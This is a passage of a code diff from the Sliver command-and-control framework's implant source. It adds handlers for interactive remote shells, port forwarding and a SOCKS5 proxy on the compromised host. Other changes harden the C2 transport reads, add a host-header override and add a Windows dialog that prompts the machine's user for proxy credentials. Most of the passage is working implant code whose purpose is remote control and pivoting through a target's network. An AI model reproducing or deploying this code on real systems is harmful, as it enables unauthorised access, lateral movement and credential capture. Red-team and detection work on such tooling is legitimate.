}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
log.Printf("[message just transfered] %v", tunnelData)
// {{end}}
}
}
@@ -0,0 +1,112 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
cancelContext()
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[portfwd] Creating tcp tunnel")
// {{end}}
tunnel := transports.NewTunnel(
portfwdReq.TunnelID,
dst,
dst,
)
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
n, err := io.Copy(tWriter, tunnel.Reader)
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
@@ -0,0 +1,118 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"io"
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
// At this point, comand is already started by StartInteractive
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to spawn! err: %v", err)
// {{end}}
return
} else {
// {{if .Config.Debug}}
log.Printf("[shell] Process spawned!")
// {{end}}
}
tunnel := transports.NewTunnel(
shellReq.TunnelID,
systemShell.Stdout,
systemShell.Stdin,
)
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string, err error) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
// {{end}}
systemShell.Stop()
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if err != nil {
cleanup("io error", err)
return
}
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
@@ -0,0 +1,165 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"errors"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
}
var socksServer *socks5.Server
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
return
}
} else {
tunnel.(chan []byte) <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: atomic.LoadUint64(&s.Sequence),
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
atomic.AddUint64(&s.Sequence, 1)
return len(b), err
}
func (s *socks) Close() error {
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -0,0 +1,38 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
+22 -22
View File
@@ -24,6 +24,7 @@ import (
"encoding/base64"
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
@@ -38,10 +39,6 @@ import (
"google.golang.org/protobuf/proto"
)
const (
readBufSize = 1024
)
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
@@ -114,13 +111,14 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
// {{end}}
return false
}
go listener.Start()
AddListener(listener)
}
return true
})
stoppedPivotListeners = nil
stoppedPivotListeners = &sync.Map{}
}
// StopAllListeners - Stop all pivot listeners
@@ -476,7 +474,9 @@ func (p *NetConnPivot) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
n, err := io.ReadFull(p.conn, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -485,23 +485,23 @@ func (p *NetConnPivot) read() ([]byte, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, readBufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
return dataBuf, err
}
+1 -1
View File
@@ -104,7 +104,7 @@ func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error
// getTokenOwner retrieves access token t owner account information.
func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) {
i, e := getInfo(t, syscall.TokenOwner, 50)
i, e := getInfo(t, syscall.TokenUser, 50)
if e != nil {
return nil, e
}
+21 -10
View File
@@ -26,6 +26,7 @@ import (
"log"
// {{end}}
"context"
"os/exec"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
@@ -44,63 +45,73 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
if enablePty {
return ptyShell(tunnelID, command)
}
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Cancel: cancel,
}, err
}
func ptyShell(tunnelID uint64, command []string) *Shell {
func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
term, err := pty.Start(cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
cancel()
return pipedShell(tunnelID, command)
}
cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: term,
Stdin: term,
}
Cancel: cancel,
}, err
}
// GetSystemShellPath - Find bash or sh
+17 -4
View File
@@ -19,6 +19,7 @@ package shell
*/
import (
"context"
"io"
"os"
"os/exec"
@@ -30,12 +31,24 @@ type Shell struct {
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
Cancel context.CancelFunc
}
// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
// Start - starts a command
func (s *Shell) Start() error {
return s.Command.Start()
}
// Wait - waits till the command finish
func (s *Shell) Wait() error {
return s.Command.Wait()
}
// Stop - stopping the command (syskill) using context cancel
func (s *Shell) Stop() {
if s.Cancel != nil {
s.Cancel()
}
}
func exists(path string) bool {
+12 -6
View File
@@ -26,6 +26,7 @@ import (
"log"
// {{end}}
"context"
"os/exec"
)
@@ -42,29 +43,33 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
return &Shell{
@@ -72,7 +77,8 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Cancel: cancel,
}, nil
}
// GetSystemShellPath - Find bash or sh
+26 -7
View File
@@ -23,6 +23,7 @@ import (
"log"
// {{end}}
"context"
"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"
"os/exec"
@@ -61,28 +62,46 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Cancel: cancel,
}, err
}
+8 -8
View File
@@ -298,7 +298,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
Interval: beacon.Interval(),
Jitter: beacon.Jitter(),
Register: register,
NextCheckin: nextCheckin.UTC().Unix(),
NextCheckin: int64(beacon.Duration().Seconds()),
}))
beacon.Close()
time.Sleep(time.Second)
@@ -360,7 +360,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
// {{end}}
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
ID: InstanceID,
NextCheckin: nextCheckin.UTC().Unix(),
NextCheckin: int64(beacon.Duration().Seconds()),
}))
if err != nil {
// {{if .Config.Debug}}
@@ -519,6 +519,12 @@ func openSessionHandler(data []byte) {
// {{end}} -IsBeacon
func sessionMainLoop(connection *transports.Connection) error {
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
err := connection.Start()
if err != nil {
// {{if .Config.Debug}}
@@ -526,12 +532,6 @@ func sessionMainLoop(connection *transports.Connection) error {
// {{end}}
return err
}
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
+1 -1
View File
@@ -103,7 +103,7 @@ func (b *Beacon) Duration() time.Duration {
// {{end}}
jitterDuration := time.Duration(0)
if 0 < b.Jitter() {
jitterDuration = time.Duration(int64(insecureRand.Intn(int(b.Jitter()))))
jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter()))
}
duration := time.Duration(b.Interval()) + jitterDuration
// {{if .Config.Debug}}
+91
View File
@@ -0,0 +1,91 @@
package transports
import (
"net/url"
"sync"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
type Connection struct {
Send chan *pb.Envelope
Recv chan *pb.Envelope
IsOpen bool
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
proxyURL *url.URL
Start Start
Stop Stop
}
// URL - Get the c2 URL of the connection
func (c *Connection) URL() string {
if c.uri == nil {
return ""
}
return c.uri.String()
}
// ProxyURL - Get the c2 URL of the connection
func (c *Connection) ProxyURL() string {
if c.proxyURL == nil {
return ""
}
return c.proxyURL.String()
}
// Cleanup - Execute cleanup once
func (c *Connection) Cleanup() {
c.once.Do(func() {
c.cleanup()
c.IsOpen = false
c.removeAndCloseAllTunnels()
})
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
}
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
@@ -10,6 +10,15 @@ import (
"time"
)
const (
FLAGS_ERROR_UI_FILTER_FOR_ERRORS uint32 = 0x01
FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS uint32 = 0x02
FLAGS_ERROR_UI_FLAGS_GENERATE_DATA uint32 = 0x04
INTERNET_ERROR_BASE uint32 = 12000
ERROR_INTERNET_INCORRECT_PASSWORD uint32 = INTERNET_ERROR_BASE + 14
ERROR_INTERNET_FORCE_RETRY uint32 = INTERNET_ERROR_BASE + 32
)
// Client is a struct containing relevant metadata to make HTTP
// requests.
type Client struct {
@@ -18,7 +27,8 @@ type Client struct {
TLSClientConfig struct {
InsecureSkipVerify bool
}
CookieJar *Jar
CookieJar *Jar
AskProxyCreds bool
}
// NewClient will return a pointer to a new Client instance that
@@ -147,6 +157,21 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
return nil, err
}
if c.AskProxyCreds {
if resp.StatusCode == 407 {
err := promptUserPassword(reqHandle)
if err != nil {
return nil, err
}
if err = sendRequest(reqHandle, req); err != nil {
return nil, err
}
if resp, err = buildResponse(reqHandle, req); err != nil {
return nil, err
}
}
}
c.CookieJar.cookies = resp.Cookies()
return &http.Response{
@@ -162,6 +187,17 @@ func (c *Client) Do(request *http.Request) (*http.Response, error) {
}, nil
}
func promptUserPassword(reqHandle uintptr) error {
var lppvData []byte
dwError := ERROR_INTERNET_INCORRECT_PASSWORD
dwFlags := FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA
_, err := InternetErrorDlg(GetDesktopWindow(), reqHandle, dwError, dwFlags, &lppvData)
if err != nil {
return err
}
return nil
}
// Jar - CookieJar implementation that ignores domains/origins
type Jar struct {
lk sync.Mutex
@@ -0,0 +1,16 @@
package wininet
import (
"golang.org/x/sys/windows"
)
var (
libuser32 = windows.NewLazySystemDLL("User32")
)
func GetDesktopWindow() uintptr {
ret, _, _ := libuser32.NewProc("GetDesktopWindow").Call()
return ret
}
@@ -413,3 +413,34 @@ func InternetSetOptionW(
return nil
}
// InternetErrorDlg is from wininet.h
func InternetErrorDlg(
hWnd uintptr,
hRequest uintptr,
dwError uint32,
dwFlags uint32,
lppvData *[]byte,
) (uintptr, error) {
var buf []byte
var proc string = "InternetErrorDlg"
var success uintptr
buf = make([]byte, 1024) //arbitrary size (safe?)
success, _, _ = wininet.NewProc(proc).Call(
uintptr(hWnd),
hRequest,
uintptr(dwError),
uintptr(dwFlags),
uintptr(unsafe.Pointer(&buf[0])),
)
// we expect 12032 if user hits okay, otherwise we return the response code as an error
if uint32(success) != ERROR_INTERNET_FORCE_RETRY {
return success, fmt.Errorf("%s: %s", proc, success)
}
*lppvData = buf
return success, nil
}
@@ -58,5 +58,6 @@ func WininetDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, e
return nil, err
}
wininetClient.TLSClientConfig.InsecureSkipVerify = true
wininetClient.AskProxyCreds = opts.AskProxyCreds
return wininetClient, nil
}
@@ -24,6 +24,7 @@ import (
"net/http"
"net/url"
"sync"
"time"
// {{if .Config.Debug}}
"log"
@@ -37,12 +38,14 @@ func GoHTTPDriver(origin string, secure bool, opts *HTTPOptions) (HTTPDriver, er
var transport *http.Transport
if !secure {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: opts.TlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
} else {
transport = &http.Transport{
IdleConnTimeout: time.Millisecond,
Dial: (&net.Dialer{
Timeout: opts.NetTimeout,
}).Dial,
@@ -70,10 +70,12 @@ type HTTPOptions struct {
ForceHTTP bool
DisableAcceptHeader bool
DisableUpgradeHeader bool
HostHeader string
ProxyConfig string
ProxyUsername string
ProxyPassword string
AskProxyCreds bool
}
// ParseHTTPOptions - Parse c2 specific configuration options
@@ -108,10 +110,12 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
ForceHTTP: c2URI.Query().Get("force-http") == "true",
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
HostHeader: c2URI.Query().Get("host-header"),
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
ProxyPassword: c2URI.Query().Get("proxy-password"),
AskProxyCreds: c2URI.Query().Get("ask-proxy-creds") == "true",
}
}
@@ -219,6 +223,9 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
if s.Options.HostHeader != "" {
req.Host = s.Options.HostHeader
}
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
+20 -21
View File
@@ -25,7 +25,9 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"time"
// {{if .Config.Debug}}
@@ -43,8 +45,6 @@ var (
// PingInterval - Amount of time between in-band "pings"
PingInterval = 2 * time.Minute
readBufSize = 16 * 1024 // 16kb
// caCertPEM - PEM encoded CA certificate
caCertPEM = `{{.Config.MtlsCACert}}`
@@ -91,8 +91,8 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
if len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
// {{end}}
@@ -100,23 +100,22 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
// Read the length of the data
readBuf := make([]byte, readBufSize)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := connection.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[mtls] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("Read error: %s\n", err)
// {{end}}
return nil, err
}
// Unmarshal the protobuf envelope
@@ -23,6 +23,7 @@ import (
"encoding/base64"
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
@@ -236,7 +237,9 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
n, err := io.ReadFull(p.conn, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -245,22 +248,22 @@ func (p *NetConnPivotClient) read() ([]byte, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, bufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
break
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
return nil, err
}
return dataBuf, err
}
+30 -92
View File
@@ -19,7 +19,6 @@ package transports
*/
import (
// {{if or .Config.WGc2Enabled .Config.HTTPc2Enabled}}
"net"
@@ -62,12 +61,15 @@ import (
// {{end}}
// {{if not .Config.NamePipec2Enabled}}
"io"
"net/url"
"sync"
"time"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
// {{end}}
"time"
)
var (
@@ -77,88 +79,6 @@ var (
type Start func() error
type Stop func() error
// Connection - Abstract connection to the server
type Connection struct {
Send chan *pb.Envelope
Recv chan *pb.Envelope
IsOpen bool
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
proxyURL *url.URL
Start Start
Stop Stop
}
// URL - Get the c2 URL of the connection
func (c *Connection) URL() string {
if c.uri == nil {
return ""
